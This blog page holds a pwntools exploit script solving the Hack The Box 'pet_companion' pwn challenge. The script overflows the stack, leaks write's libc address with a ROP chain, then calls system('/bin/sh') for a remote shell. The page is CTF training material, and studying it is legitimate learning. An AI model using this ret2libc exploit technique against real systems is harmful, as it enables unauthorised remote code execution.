首页 > 其他分享 >HTB_pwn_pet_companion_exp

HTB_pwn_pet_companion_exp

时间:2024-03-15 12:33:42浏览次数:21  
标签:bin addr HTB pet pop write io pwn p64

from pwn import *
context.log_level='debug'
elf = ELF('./pet_companion')

io = remote('94.237.54.152',51111)
padding = 72
pop_rdi = 0x0000000000400743 #: pop rdi ; ret
pop_rsi = 0x0000000000400741 #: pop rsi ; ret
payload = b'A'*padding+p64(pop_rsi)+p64(elf.got['write'])+p64(1)+p64(elf.plt['write'])+p64(0x40064a)
#control register rdi,rsi by stack overflow,ROP_chain like `write(1,write_got_addr,?)` and end jump to main_function

io.sendlineafter(b'status:',payload)
io.recvuntil(b'Configuring...\n\n')
a = u64(io.recv(6).ljust(8,b'\x00'))
#received write_got_addr and packed it
print('addr',hex(a))

base_offset = a-0x5555555100f0              #get Lib['write'],Lib['system'],Lib['/bin/sh'] from ./glibc/libc.so.6 by gdb
sys_addr = base_offset+0x55555544f420
bin_sh = base_offset+0x5555555b3d88

payload1 = b'A'*padding+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
#make ROP_chain like `system('/bin/sh')` then you will get shell
io.sendlineafter(b'status:',payload1)

io.interactive()

It's easy pwn but different with usual since no symbol of glibc that office given,if you wanna try this question,search on internet or connect to [email protected].

标签:bin,addr,HTB,pet,pop,write,io,pwn,p64
From: https://www.cnblogs.com/bamuwe/p/18075157

相关文章

  • SnippetsLab:程序员的秘密武器
    欢迎来到我的博客,代码的世界里,每一行都是一个故事SnippetsLab:程序员的秘密武器前言介绍SnippetsLab功能深挖智能标签与分类:高级搜索与过滤:效果展示新增代码片段快速查找代码前言在代码的世界里,有时候一小段巧妙的代码可以解决许多问题。然而,如何高效地管......
  • Array Repetition
    原题链接题解设\(len_i\)为第\(i\)次操作后的数组长度,\(last_i\)为该数组的最后一个数字那么对于第一个\(len\)大于\(k\)的\(i\)而言\({A}_{i}[k]\toA_{i-1}[k_1]\)其中\(k_1=(k-1)\%len_{i-1}+1\)如果\(k\)等于此时的\(len_i\)那么输出\(last_i\)小......
  • (C++)树状数组和线段树的VSCode Snippet
    学都学了,肯定要往snippet里塞好东西嘛{ //Placeyoursnippetsforcpphere.Eachsnippetisdefinedunderasnippetnameandhasaprefix,bodyand //description.Theprefixiswhatisusedtotriggerthesnippetandthebodywillbeexpandedandinserted.......
  • CTFshow pwn49
    Pwnmprotect()函数以CTFshowpwn49为例。学习mprotect函数mprotect函数可以将内存权限进行修改为可读可写可执行。intmprotect(constvoid*start,size_tlen,intprot);mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。一般prot直接修......
  • NewStar Week2-3部分pwn wp
    stack_migrationchecksec开启了NX保护,但是没有PIE和Canary代码审计可以看到有两个read和一个printf。第一个read没什么用我们看第二个。因为v2距离rbp有0x50个字节,而read只能读入0x60个字节,意味着我们剩余的字节数只有0x10,没法构造完整的ROP链,那么我们就只能利用栈迁移来变......
  • HTB-Fawn(FTP)
    HTB-Fawn(FTP)1.TASK1问题:3个字母的首字母缩写词FTP代表什么?FTP是文件传输协议的简写。FTP文件传输协议(FileTransferProtocol)是用于在网络上进行文件传输的一套标准协议,它工作在OSI模型的第七层,TCP模型的第四层—————应用层,FTP使用TCP传输而不是UDP传输,它有两......
  • 解决Alfred Snippets不工作的问题
    本文旨在解决AlfredSnippets(片段和文本扩展)不工作的问题​​什么是AlfredSnippets?通过使用片段来保存您经常使用的文本剪辑来提高您的工作效率。使用关键字自动展开它们或在SnippetsViewer中浏览正确的剪辑。片段和文本扩展功能是Alfred的Powerpack的一部分。遇到......
  • 解决Alfred Snippets不工作的问题
    本文旨在解决AlfredSnippets(片段和文本扩展)不工作的问题​​什么是AlfredSnippets?通过使用片段来保存您经常使用的文本剪辑来提高您的工作效率。使用关键字自动展开它们或在SnippetsViewer中浏览正确的剪辑。片段和文本扩展功能是Alfred的Powerpack的一部分。遇到......
  • CTFshow pwn47-48
    CTFshowpwn47-48ret2libc的两道简单练习。还是很不熟练。pwn47已经给出了\bin\sh的字符串,还有输出了许多函数的地址,所以很容易拿到libc。frompwnimport*fromLibcSearcherimport*context(os='linux',arch='i386',log_level='debug')io=remote("pwn.challe......
  • 解决Puppeteersharp 被检测到的方法, 顺带学习了js如何实现 模拟点击拖动事件
    varlaunchOptions=newLaunchOptions{Headless=false,DefaultViewport=null,IgnoreHTTPSErrors=true,ExecutablePath=path+"\\.local-chromium\\chrome-win\\chr......